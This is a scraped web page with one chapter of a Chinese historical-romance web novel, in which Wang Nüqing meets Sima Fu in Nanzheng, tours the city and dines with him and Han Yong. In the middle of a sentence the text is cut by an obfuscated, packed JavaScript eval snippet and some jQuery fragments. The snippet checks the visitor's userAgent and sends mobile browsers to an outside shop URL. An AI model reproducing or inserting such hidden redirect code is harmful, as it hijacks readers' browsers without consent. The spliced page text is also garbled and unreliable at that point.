默认冷灰
24号文字
方正启体

33. 第三十二章 南郑相会

作者:与虎三问本书字数:K更新时间:
    夏夜傍晚,南郑城外,褒水凉风习习。


    临别之际,司马复借着落日余晖描摹眼前人清减的侧颜。他不希望这短暂的交汇后再度面临漫长的分离,此情此景也着实不利于他展现实力和诚意。


    他温声道:“此地荒僻,你尚未痊愈,若信得过我,明日可入南郑城中,再议余下诸事。”见王女青神色未动,他又道,“太子也在城中,许久未见你了。”


    王女青婉拒,“谢郎君心意,但我眼下无力接太子回返,不如不见。还请郎君代为照拂。”


    “太子深知你的难处,也是此意。”


    司马复顺着她的话往下说,一边揣测她的想法,“若太子随我至江东,我必奉他为主。但若青青拿下益州,我以为太子可随你左右。这原也是皇后的安排。”


    “太子自己如何打算?”王女青不接受试探,反问道。


    “实不相瞒,太子愿随我去江东。”司马复换了策略,“太子有言,他在何处,何处便是正统。若青青日后有需,可至江东寻他。从前是你照拂他,日后,由他来照拂你。”


    闻言,王女青转身看向褒水,一言不发。


    过了许久,她才开口道:“还请郎君转告太子,既如此,便请一直相信司马氏,切莫中途生变,否则性命堪忧。”


    这便是她的回答。


    司马复心头一紧,“司马氏是司马氏,我是我。还请青青一直信我。”


    王女青未予正面回应,声音听不出悲喜。


    “我与太子分离时,皇后尚在。郎君以为,我面对司马氏会是何种心境?我现在如此平静,无非是时势所迫,不得随自己心意。郎君虽不愿姓司马,我也并非不辨事理之人,是以,我不会将陛下与皇后离去归咎于郎君,这一点郎君勿要担心。然则,你我相识不过半载。郎君,你我当各自行路,你有你的气运神通。”


    各自行路。


    果然如此。


    司马复维持了门阀公子的气度,并不纠缠,只道:“明日,我在此地静候,接青青入南郑。”


    王女青返回驻地,下马步入营帐。


    宫扶苏早已等候多时,迎上前来,问与司马复商议得如何。


    “他自然应允,但其心如何尚难定论。”


    王女青一脸疲惫,“他能带数万人安然穿越秦岭,速取汉中,不仅大将军,便是我也小觑他了。他邀我明日入南郑城中再议细节,我已应下。”


    宫扶苏眉头紧锁,立时进言:“师姐不宜犯险,不如由我代为前往。”


    王女青在案下坐下,并不赞同。


    “武关之时,你数次见他,当知其城府。你固然聪敏谨慎,但戒备溢于言表,于眼下情形不宜。如何取信于人,你尚需历练。大将军坐镇永都,你留守此地,与主力维系通联。我身后有你们,便不会有事。”


    “此去几日?需带多少人马?”


    “后日即回,不带扈从。此地诸事,皆托付于你。”


    宫扶苏仍是忧心,目光在她苍白的脸上流连,“可是师姐,你的身体……”


    王女青轻描淡写,“已至益州,再休养些时日便好。”


    恰在此时,丘林勒于帐外求见。王女青准其入内。


    丘林勒拘谨行礼,“大都督近期外出可否带上卑职?”


    宫扶苏在一旁冷哼,“我尚且不跟去。你这是要监视我师姐?”


    丘林勒硬着头皮回道:“大将军之令,是命我等护卫大都督周全。大都督嫌虎贲行进迟缓,我已让他们随行主力。但我既在此,自当奉命。”


    王女青并不理会他们的争执,只问:“大将军这两日可有指示?”


    “不曾有。”丘林勒一板一眼地复述,“大将军只嘱我,若大都督问起,便回禀:他每日努力餐饭,努力安寝。望大都督也努力餐饭,努力安寝。”


    闻此,王女青正在整理文书的手一顿。


    营帐内陷入死寂。烛火跳动,映照着她眼底不明的情绪。


    过了许久,丘林勒几乎以为自己说错了话,她才抬起头。


    “你明日随我一道去南郑,逗留一日即归。”


    次日天色未明,王女青便带着丘林勒出发了。


    但司马复比他们更早。他孤身立于废驿,衣摆沾着晨露,显然已静候多时。见到王女青的一瞬,他眼底的血丝被骤然亮起的光彩掩去。


    “郎君早。”


    “昨夜忙碌,未曾安枕。”司马复回道,目光并未在她身上过多停留以免显得唐突,随即转向她身后的丘林勒,“这位将军有些面善,不知何处得见?”


    他记性极好,尤其是关于她的细节。


    丘林勒上前一步,“资善院中,曾对郎君有所冒犯。但彼时职责所在,郎君见谅。”


    王女青闻言,眉头蹙起。


    未几,三人换乘马车入城。


    车内悬着避暑的细纱帷帐,可清晰望见街景。


    南郑乃是司马复智取,城中并无残破景象。


    暑气蒸腾,车轮碾过店家洒水降尘的青石板路。两侧店铺在凉棚下敞开着门面,有小贩叫卖浸在井水里的瓜果。一队披甲士卒沿街巡弋,步伐整齐,但百姓见了也不惊扰,仅是避让。木屐叩击,市井喧哗,与不绝于耳的蝉鸣混在一处,纱帐轻晃间,将这幅安然的景象映入车内。


    司马复端坐一侧,目光不时扫过窗外,又不动声色回到王女青脸上,观察着她的反应。这是他亲手安定的城池,是他的实力与诚意之一。


    王女青道:“郎君治下,南郑安稳。郎君心怀百姓,令人钦佩。”


    司马复谦逊道:“我不喜司马一姓,但平心而论,司马氏辗转南北百年,于生民之苦最有体悟。兵者,凶器也。昔日在宫中文库,我偶闻大都督‘以杀止杀,以战止战’之论,当时心有抵触,暗忖卿本佳人,奈何心藏虎兕。如今历经世事,方知大都督当日所言,与我心中所想实则殊途同归。战事虽不可免,然若天命在我,我必不计虚名,励精图治,以求百姓安居。”


    这番话既是在阐述政见与理想,也是在表明心迹。如今的他,已不再是资善院的质子,而是能与她并肩的强者,进一步,还可以是她志同道合的伴侣。


    “相国之能,人所共知。”王女青就事论事,“相国将郎君教导得极好。”


    “相国的教导,非常人所能忍受。”司马复苦笑,话锋一转,“大都督却真是被陛下教导得极好,我感谢上苍之恩。陛下乃我毕生最崇敬之人,若陛下尚在,我必竭力为股肱之臣。纵使如今,我也将以我的方式,不负陛下期许。”


    “郎君有心了。”


    丘林勒在旁听得火起,只觉得此人满口仁义道德,实则颠倒黑白,却又慑于对方气场无从置喙,只能愤愤扭头望向窗外,心中可怜着自家大将军。


    马车行至太守府,王女青与司马复入书房议事,丘林勒则在廊下候命。


    不多时,韩雍领着几名侍女行来,“这位将军,好生面善,不知何处见过。”


    丘林勒只得耐着性子又解释一遍:“资善院中,曾对小郎冒犯,但彼时职责所在,还望小郎见谅。只是不知小郎是如何认出我来?彼时我面甲未卸。”


    韩雍笑道:“将军气质伟岸,迥异于常人。”


    丘林勒闻言,面上微红,显出几分局促。


    韩雍又道:“但将军为何唤我小郎?我与司马郎君同岁。”


    丘林勒一愣,忙道失礼。


    “夏日炎热,此处虽有风,仍是委屈将军了。”韩雍眼中闪过狡黠,“我稍后便入内,必不叫司马郎君言语冒犯大都督。将军尽可放心,且随我的侍女去见太尉。太尉思念永都,想请教永都安好否,大将军安好否。”


    丘林勒不得已,被侍女引着去了别处。


    书房内,司马复正与王女青查看益州与荆州的舆图。


    韩雍入内,见到王女青便道,“青青,你清减了许多。”又对司马复道,“你为何还不去庖厨?”


    司马复走后,韩雍自然执起王女青的手,眼中满是真挚,“青青,我数次去武关都未见到你,心中很是想念。你不见他便罢了,为何连我也不见?”


    王女青任由他握着,神色柔和了许多,“小郎纯善,我也十分想念。小院时日,我心中郁结,小郎是我最大的慰藉。武关军务繁冗,我那时身体有些不适,不想小郎见了忧心。”


    韩雍道:“自那时起,身体便亏着了么?青青可怜。你不要与他谈那些了。他此番邀你前来,不过是寻机亲近。你知道,他脑子好使得很,你与他大略说一遍,即便只是三言两语,他也能将你未及之处,尽数考虑周全。”


    王女青摇头道:“我自己也想来这里看看。”


    韩雍问:“青青想见太子?此事倒会有些麻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803899|190727||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    烦。相国近日正亲自教导太子。”


    “我听闻,相国的教导,非常人所能忍受。”


    “必是凤凰说的。但青青不必担忧,相国对不同的小郎有不同的教法。”


    王女青不语,半晌后道,“我想见相国。我也想受相国教诲。”


    韩雍面露难色:“这……相国未必愿意见你……”


    “只求一见,有事请教。”


    韩雍思索片刻,“也罢,还是我去说。凤凰其实至今仍畏惧相国,能避则避。”


    王女青道:“多谢小郎。便在明日。我也需稍作准备。”


    二人叙谈片刻,步行至后堂用饭。


    韩雍引她穿过藤萝回廊,来到后堂廊下。此处廊檐深远,将暑气尽数隔绝,脚下的青石板也透着凉意。微风拂过,送来庭中水榭与草木的气息。远处一池碧水,荷叶田田。近处是一丛芭蕉,又有修竹数竿,蝉鸣声声。


    一桌丰盛菜肴早已备好。


    韩雍对司马复道:“你昨夜未眠,就是提前准备饭食?”


    王女青道:“郎君百忙之中费心于此,我受之有愧。”


    司马复道:“百忙之时,为此反得心静。谢青青予我机会。”


    韩雍打断他的讨好,问道:“为何无酒?”


    “青青不饮酒。”司马复答得极快,显示对她的喜好烂熟于心。


    王女青道:“行军不便,饮酒亦误事。观中规矩素来严苛,我自小习惯了。”


    韩雍又问:“那青青想饮酒么?”


    王女青道:“今日不想。”


    韩雍起身,“我嫂嫂处有新制的乳酪,女郎们都喜欢。我去去就回。”


    韩雍走后,后堂只剩二人。


    司马复执箸为王女青布菜,动作优雅娴熟,宛如伺候妻子的丈夫。


    “眼下南郑,物资尚缺,否则我能备办更可口的饭食。怠慢青青了。”


    王女青道:“我去过许多地方,未曾尝过如此美味。郎君心思聪颖,一通百通,着实令人钦羡。我记得白渠小院之时,郎君还为我修葺了门窗。那是我幼时居所,我对郎君心中感激。只是那里,如今已不复存在。”


    司马复的手微微一颤,“是我之过。”


    “非郎君之过,乃我当时决断。”王女青道,“郎君于韩小郎和光禄大夫的情意与维护,令我感佩。我屡次不忍加害郎君,心中除去谋算,也因此故。我时常无法正视自己的内心。但是郎君,仅此而已了。”


    一盆冷水泼下。


    司马复感到挫败,但立即调整情绪转移话题,“敢问夫人在永都安好?”


    “安好。”


    司马复又问:“大将军安好?”


    “都好。”


    司马复见无效,再度开启新话题。


    “不提这些,且说青青的巴郡故友。眼下,益荆二州豪强林立,但青青故友,能控巴郡至夏口水道,此即为西扼巴蜀之喉,东锁江夏之扉,虽无藩镇之名,而有割据之实。敢问青青,何以对其如此放心?”


    王女青道:“他与我在观中一同长大。但我此前不知,他已坐大至此。待他助你离去,我自会对他处置。益州与荆州,我此行将一并拿下,不会由旁人代管。”


    “如此看来,青青待我,已是至善。”司马复语气复杂。


    王女青道:“再往东南,我鞭长莫及。陛下根基在北,我无力超越。”


    就在这时,韩雍捧着一大盘乳酪与鲜果远远过来,满面欢欣。


    王女青看着韩雍走近,对司马复说:“我已请韩小郎明日为我引见相国。郎君若愿,可一并到场。光禄大夫如若无事,也可到场。”


    司马复一怔。


    同时拜会相国与光禄大夫,又要他在场,这般郑重其事,若在太平岁月……他自然知道绝无可能。但在那一瞬间,他不但没有避嫌,反而任由眼底近乎奢望的情意涌出。他极其聪明地抓住了这一丝歧义,露出征询忐忑之色,“我为司马氏家主,若是……婚姻之事,你我可自行定夺。青青你……不必紧张。”


    见状,王女青第一次在他面前有了些笑意,像是看穿了他的小心思,又带着几分无奈与包容。


    “是我未说清楚,让郎君多虑了。明日拜会是为正事请教相国。郎君在场,诸事便宜。光禄大夫处,礼亦不可废。行程匆促,我只得一并拜望,请勿怪失礼。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)